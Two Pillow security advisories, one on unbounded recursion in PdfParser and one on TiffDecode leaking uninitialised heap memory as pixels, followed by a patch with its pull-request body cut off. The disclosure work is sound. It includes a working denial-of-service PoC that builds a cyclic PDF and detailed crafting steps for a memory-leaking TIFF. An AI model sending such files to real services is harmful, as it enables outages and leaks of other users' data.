When an application appends to an existing PDF with Image.save(..., format="PDF", append=True), Pillow parses that file with PdfParser. Two recursive parsers have no effective bound. linearize_page_tree follows /Kids with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. read_prev_trailer rejects only an exactly repeated /Prev offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.

Details

linearize_page_tree recurses on /Kids with no cycle or depth check:

  • src/PIL/PdfParser.py:1078-1092

read_prev_trailer catches only a repeated offset:

  • src/PIL/PdfParser.py:697-720 (the processed_offsets check at :714-718 is the CVE-2026-42310 fix; a unique-offset chain slips past it)
PoC
from PIL import PdfParser

##### A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).
objs = {
    1: b"<< /Type /Catalog /Pages 2 0 R >>",
    2: b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",
    3: b"<< /Type /Pages /Kids [2 0 R] /Count 1 >>",
}
buf = bytearray(b"%PDF-1.4\n")
off = {}
for oid in (1, 2, 3):
    off[oid] = len(buf)
    buf += b"%d 0 obj\n" % oid + objs[oid] + b"\nendobj\n"
xref = len(buf)
buf += b"xref\n0 4\n0000000000 65535 f \n"
buf += b"".join(b"%010d 00000 n \n" % off[o] for o in (1, 2, 3))
buf += b"trailer\n<< /Root 1 0 R /Size 4 >>\nstartxref\n%d\n%%%%EOF\n" % xref
open("poc.pdf", "wb").write(buf)

PdfParser.PdfParser("poc.pdf", mode="r+b")   # append=True parses the existing file the same way

Run it:

$ python 11_poc.py
RecursionError: maximum recursion depth exceeded

The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) /Kids tree instead produces super-linear CPU and memory work, and a long unique-offset /Prev chain triggers the trailer-side recursion.

Impact

A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising RecursionError. The fix is a visited set plus a depth limit in both parsers.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow: TiffDecode returns uninitialized memory as pixels for short JPEG strips

CVE-2026-112897 / GHSA-q45j-58j2-45rg

More information

Details

============================================================================
TiffDecode returns uninitialized memory as pixels for short JPEG strips
Location: src/libImaging/TiffDecode.c:554  in _decodeStrip()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

Pillow hands back leftover process memory as image pixels when it opens a small crafted TIFF file. Anyone who can get an application to open their image, and can see something produced from its pixels (a thumbnail, a preview, a converted copy), can read heap memory that the process had previously used and freed. This works in the default configuration: opening and loading the 478-byte file succeeds with no error or warning, and every row below the first eight holds stale memory instead of picture content.

The bug is in _decodeStrip() in src/libImaging/TiffDecode.c, and _decodeTile() has the same shape. The function realloc()s state->buffer to TIFFStripSize() bytes without initialising it and calls TIFFReadEncodedStrip(). Whenever that call does not return -1, it copies all RowsPerStrip rows of the buffer into the image. libtiff's JPEG codec only warns when the JPEG embedded in a strip has fewer rows than the strip, and Pillow silences libtiff warnings. The codec decodes the rows that exist and still returns the full strip size, so the untouched remainder is copied out as pixels. libtiff's Group 4 fax codec behaves the same way for a stream that ends early.

The attached reproducer builds a 256×256 TIFF whose single strip or tile is a 256×8 JPEG. Before loading it, the script frees buffers filled with b"LEAK". It then finds 15,872 copies of LEAK in rows 8–255 of the decoded image (the same freed chunk was reused in 500 of 500 runs). Under glibc's MALLOC_PERTURB_, those rows are entirely the allocator's fill byte. A well-formed control file decodes correctly in both cases.

This is a read of uninitialised heap memory, not memory corruption. Each strip can disclose up to width × RowsPerStrip bytes, and what comes back depends on the allocator's state at the time. The strip path was introduced in e91b851fdc1c ("Add reading old-JPEG compressed TIFFs", first released in Pillow 6.0.0). The tile path has had the same pattern since f0436a4ddc95 (Pillow 5.3.0).

Details

src/libImaging/TiffDecode.c decodes compressed TIFFs through libtiff into a strip
(or tile) buffer that it realloc()s to TIFFStripSize() bytes and never initialises, and
then copies all RowsPerStrip rows of that buffer into the image whenever
TIFFReadEncodedStrip() does not return -1. libtiff's JPEG codec does not fail when the
JPEG stream inside a strip has fewer rows than the strip: it decodes the rows that exist
and returns the full strip size. The rows it did not write are whatever the heap held
before, and Pillow returns them as pixels.

A 478-byte file shows it: a classic little-endian TIFF, 256×256, BitsPerSample=8,
Compression=7, PhotometricInterpretation=1, RowsPerStrip=256, one strip whose data
is a baseline JPEG of 256×8 pixels (as written by Image.new("L",(256,8),200).save(…,"JPEG")).
Image.open(BytesIO(data)).load() succeeds with default settings (compressed TIFFs always
take the libtiff path). Rows 0–7 of the result are the JPEG content (value 200); the
remaining 63488 bytes of im.tobytes() are heap garbage: run under glibc's
MALLOC_PERTURB_=1 they are all 0xFE, under MALLOC_PERTURB_=170 all 0x55 (the
fresh-malloc fill byte), and in a process that has just freed buffers containing
b"LEAK" they contain 15872 copies of LEAK.

Feeding the same file to libtiff 4.5.0 directly confirms the library side:
TIFFReadEncodedStrip(t, 0, buf, 65536) prints
JPEGPreDecode: Warning, Improper JPEG strip/tile size, expected 256x256, got 256x8.,
returns 65536, and leaves 63488 of the 65536 buffer bytes untouched. Pillow installs
TIFFSetWarningHandler(NULL) (TiffDecode.c:682), so the warning is not visible either.

The strip path:

// src/libImaging/TiffDecode.c:552
    /* realloc to fit whole strip */
    /* malloc check above */
    new_data = realloc(state->buffer, state->bytes);      // state->bytes = TIFFStripSize()
    …
    state->buffer = new_data;

    for (; state->y < state->ysize; state->y += rows_per_strip) {
        …
            if (TIFFReadEncodedStrip(
                    tiff,
                    TIFFComputeStrip(tiff, state->y, plane),
                    (tdata_t)state->buffer,
                    strip_size
                ) == -1) {
                … return -1;
            }
            …
            // iterate over each row in the strip and stuff data into image
            for (strip_row = 0;
                 strip_row < MIN((INT32)rows_per_strip, state->ysize - state->y);
                 strip_row++) {
                …
                shuffler(
                    (UINT8 *)im->image[state->y + state->yoff + strip_row] +
                        state->xoff * im->pixelsize,
                    state->buffer + strip_row * row_byte_size,
                    state->xsize
                );

state->buffer arrives here as the one-row calloc made by decode.c:230
((bits*xsize+7)/8 = 256 bytes for the example). The realloc to 65536 bytes hands back
a different, uninitialised chunk; nothing zeroes it. TIFFReadEncodedStrip() returns the
nominal strip size on success, not the number of rows produced, and the only check is
== -1, so the row loop unconditionally copies 256 rows × 256 bytes into im->image
(which itself is zeroed by core.new, so the garbage provably comes from state->buffer).
_decodeTile() has the same shape (TiffDecode.c:448 realloc to TIFFTileSize(), then
tile_length rows copied after each TIFFReadTile() at 460–488).

For a well-formed file the JPEG inside the strip is 256×256, libtiff fills all 65536 bytes
and the copy is correct. The malicious file differs only in the SOF height of the embedded
JPEG; libtiff treats "JPEG smaller than strip" as a warning, clamps the row count to the
JPEG height, and reports success.

JPEG is not the only libtiff codec that succeeds on a short strip. Fax4Decode
(Compression=4) returns success for a T.6 stream that ends early: a 133-byte 512×256
1-bit TIFF whose strip is the Group 4 stream of a 512×16 image loads without error,
libtiff writes 17 rows (1088 bytes) of the 16384-byte buffer
(Fax4Decode: Warning, Premature EOL at line 16, return value 16384) and the other
15296 bytes are again heap contents. LZW, Deflate, PackBits, Group 3 and CCITT RLE were
checked and do return -1 on short data, so Pillow raises OSError for those.

The strip path was introduced in e91b851fdc1c ("Add reading old-JPEG compressed TIFFs",
2018-12-08), first released in Pillow 6.0.0, which replaced row-by-row TIFFReadScanline()
(where libtiff errors on the first missing row) with the whole-strip realloc() and copy.
The tile path has had the same shape since it was added in f0436a4ddc95 (2018-07-02,
Pillow 5.3.0).

Impact

Any application that opens attacker-supplied images with Pillow in the default
configuration and returns something derived from the pixels (thumbnail, preview, format
conversion, OCR text) discloses freed heap memory of the worker process to the uploader:
everything below the rows the embedded JPEG/G4 stream actually encodes, up to
ImageWidth × RowsPerStrip × SamplesPerPixel bytes per strip and tens of MB per image
within the default MAX_IMAGE_PIXELS. load() raises nothing, so the application has no
signal that the image is malformed. What comes back depends on allocator state; in a
long-running web worker it is typically recently freed request bodies, other users'
decoded image buffers and Python object contents. There is no memory corruption; this is
a read of uninitialised (previously used) heap memory, analogous in effect to an
out-of-bounds read that lands in pixels.

Reproducing

repro is a short Python script that runs against the installed Pillow build with
default settings: no rebuild, no sanitizer, no files written. It runs twice, once normally
and once re-executing itself under glibc's MALLOC_PERTURB_=170, and the last line it
prints is BUG or OK.

Input. tiff(jpeg_rows, tiled) builds a little-endian TIFF in memory. The header
declares a 256×256 8-bit greyscale image with Compression=7 (JPEG), either as one strip
(RowsPerStrip=256) or as one 256×256 tile (TileWidth/TileLength). The strip or tile
is a baseline JPEG of 256×jpeg_rows pixels, all value 200, written by Pillow's own JPEG
encoder. For each layout the script builds two files:

  • Control: jpeg_rows=256. This is a well-formed file, and libtiff fills the whole
    64 KiB strip/tile.
  • Crafted: jpeg_rows=8, 478 bytes (strip) or 490 bytes (tile). The only difference
    is the embedded JPEG's height. libtiff decodes 8 rows (2048 bytes), warns
    Improper JPEG strip/tile size (Pillow silences the warning) and returns the full
    strip/tile size as success.

Steps. Each file is opened (the script asserts it takes the libtiff decoder). Just
before im.load() the script allocates and frees six 64 KiB bytearrays filled with
b"LEAK", which leaves freed heap chunks about the size of the buffer that
_decodeStrip()/_decodeTile() is about to realloc(). For rows 8–255 it then counts
copies of LEAK and bytes equal to 0x55 (glibc's fresh-malloc fill under
MALLOC_PERTURB_=170). The files contain no LEAK bytes (the script asserts this), so
any copy in the image came from freed heap memory. It reports BUG if a crafted file
shows any LEAK in the normal pass, or rows 8–255 entirely 0x55 in the perturbed pass.

Expected output on this tree:

[normal ] strip well-formed (1222 B) rows 8-255:     0 x b'LEAK',     0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8'
[normal ] strip crafted     ( 478 B) rows 8-255: 15872 x b'LEAK',     0/63488 == 0x55, head=b'LEAKLEAK'
[normal ] tiled well-formed (1234 B) rows 8-255:     0 x b'LEAK',     0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8'
[normal ] tiled crafted     ( 490 B) rows 8-255: 15872 x b'LEAK',     0/63488 == 0x55, head=b'LEAKLEAK'
[perturb] strip well-formed (1222 B) rows 8-255:     0 x b'LEAK',     0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8'
[perturb] strip crafted     ( 478 B) rows 8-255:     0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU'
[perturb] tiled well-formed (1234 B) rows 8-255:     0 x b'LEAK',     0/63488 == 0x55, head=b'\xc8\xc8\xc8\xc8\xc8\xc8\xc8\xc8'
[perturb] tiled crafted     ( 490 B) rows 8-255:     0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU'
BUG

im.load() succeeds for every file. For the crafted files rows 8–255 are the uninitialised
strip/tile buffer, copied as-is into the image. With the attached patch applied, rows 8–255
of the crafted files come back as \x00 bytes, with no LEAK and no 0x55, and the
script ends with OK.

The LEAK count depends on where glibc places the buffer (the same freed chunk was reused
in 500 of 500 runs here); the MALLOC_PERTURB_ pass does not. The script covers the JPEG
codec only. The Group 4 variant in the Details section (Compression=4, a T.6 stream that
ends early) goes through the same _decodeStrip() copy, and the same fix covers it.

Suggested fix

The attached patch zeroes state->buffer before each libtiff read in both loops of
src/libImaging/TiffDecode.c — before TIFFReadTile() in _decodeTile() and before
TIFFReadEncodedStrip() in _decodeStrip() — so rows a codec does not produce are
deterministic zeros rather than stale heap:

--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ _decodeTile
             for (x = state->xoff; x < state->xsize; x += tile_width) {
+                memset(state->buffer, 0, state->bytes);
                 if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) {
@@ _decodeStrip
         for (plane = 0; plane < planes; plane++) {
             ImagingShuffler shuffler = unpackers[plane];
+            memset(state->buffer, 0, state->bytes);
             if (TIFFReadEncodedStrip(

A memset per strip/tile (rather than one calloc after the size is known) is needed
because the same buffer is reused for every strip, and a short last strip would otherwise
expose the previous strip's rows — harmless for disclosure, but the per-read memset
keeps the behaviour uniform at the cost of one extra pass over the buffer. Promoting
libtiff warnings to errors via a warning handler is not a good alternative: both codecs
only warn (Improper JPEG strip/tile size, Premature EOL), but so do many legitimate
files (unknown tags, bad tag counts), and the return value of TIFFReadEncodedStrip()
carries no row count to check against. Initialising the buffer covers every codec.
_decodeAsRGBA() needs no change: TIFFRGBAImageGet() fills its whole raster, and JPEG
files do not reach it (JPEGCOLORMODE_RGB sends them down the strip path).

Valid files decode exactly as before; rows a codec does not produce are now black instead
of garbage, and nothing that previously loaded now fails. The patch also adds
test_jpeg_short_strip to Tests/test_file_libtiff.py, parametrised over strip and tile,
which builds the 256×8-JPEG-in-256×256 file and asserts rows 8–255 are zero. It is a
regression guard for the fixed code rather than a reliable detector of the bug: in a fresh
pytest process the unfixed strip variant can pass because the new heap chunk happens to be
zero (the tiled variant fails before the fix). With the patch, Tests/test_file_libtiff.py
and Tests/test_file_tiff.py pass and the reproducer prints OK.

The patch

Zero the libtiff strip/tile buffer before each TIFFReadEncodedStrip/TIFFReadTile in TiffDecode.c so short strips do not expose uninitialised heap

Applies to src/libImaging/TiffDecode.c at the commit above.

diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..67bc96329 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -1162,6 +1162,45 @@ class TestFileLibTiff(LibTiffTestCase):
             im.load()
         assert im.size == (950, 975)
 
+    @pytest.mark.parametrize("tiled", (False, True))
+    def test_jpeg_short_strip(self, tiled: bool) -> None:
+        # The JPEG data in the strip/tile only contains 8 of the 256 rows that
+        # RowsPerStrip/TileLength declare. libtiff decodes the rows that exist
+        # and still reports success, so the remaining rows must be cleared
+        # rather than left as uninitialised memory.
+        jpeg = io.BytesIO()
+        Image.new("L", (256, 8), 200).save(jpeg, "JPEG")
+        jpeg_data = jpeg.getvalue()
+
+        ifd = TiffImagePlugin.ImageFileDirectory_v2()
+        ifd[256] = 256  # ImageWidth
+        ifd[257] = 256  # ImageLength
+        ifd[258] = 8  # BitsPerSample
+        ifd[259] = 7  # Compression: JPEG
+        ifd[262] = 1  # PhotometricInterpretation: BlackIsZero
+        ifd[277] = 1  # SamplesPerPixel
+        if tiled:
+            ifd[322] = 256  # TileWidth
+            ifd[323] = 256  # TileLength
+            ifd[324] = 0  # TileOffsets
+            ifd[325] = len(jpeg_data)  # TileByteCounts
+            # Point the tile data at the end of the IFD
+            ifd[324] = 8 + len(ifd.tobytes(8))
+        else:
+            ifd[278] = 256  # RowsPerStrip
+            ifd[STRIPOFFSETS] = 0  # Updated by tobytes() to follow the IFD
+            ifd[279] = len(jpeg_data)  # StripByteCounts
+
+        b = io.BytesIO()
+        ifd.save(b)
+        b.write(jpeg_data)
+
+        with Image.open(b) as im:
+            assert im.tile[0][0] == "libtiff"
+            im.load()
+            assert im.crop((0, 0, 256, 8)).getextrema() == (200, 200)
+            assert im.crop((0, 8, 256, 256)).getextrema() == (0, 0)
+
     def test_orientation(self) -> None:
         with Image.open("Tests/images/g4_orientation_1.tif") as base_im:
             for i in range(2, 9):
diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c
index 8a57c523d..d1d6bfbbb 100644
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ -457,6 +457,11 @@ _decodeTile(
         for (plane = 0; plane < planes; plane++) {
             ImagingShuffler shuffler = unpackers[plane];
             for (x = state->xoff; x < state->xsize; x += tile_width) {
+                // Some codecs (e.g. JPEG, Group 4) succeed on a tile that decodes
+                // to fewer rows than the tile length, leaving the rest of the
+                // buffer untouched. Clear it so that uninitialised memory is not
+                // copied into the image.
+                memset(state->buffer, 0, state->bytes);
                 if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) {
                     TRACE(("Decode Error, Tile at %dx%d\n", x, y));
                     state->errcode = IMAGING_CODEC_BROKEN;
@@ -563,6 +568,11 @@ _decodeStrip(
         int plane;
         for (plane = 0; plane < planes; plane++) {
             ImagingShuffler shuffler = unpackers[plane];
+            // Some codecs (e.g. JPEG, Group 4) succeed on a strip that decodes
+            // to fewer rows than RowsPerStrip, leaving the rest of the buffer
+            // untouched. Clear it so that uninitialised memory is not copied
+            // into the image.
+ 

> [!IMPORTANT]
> ✂ PR body was truncated to here.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants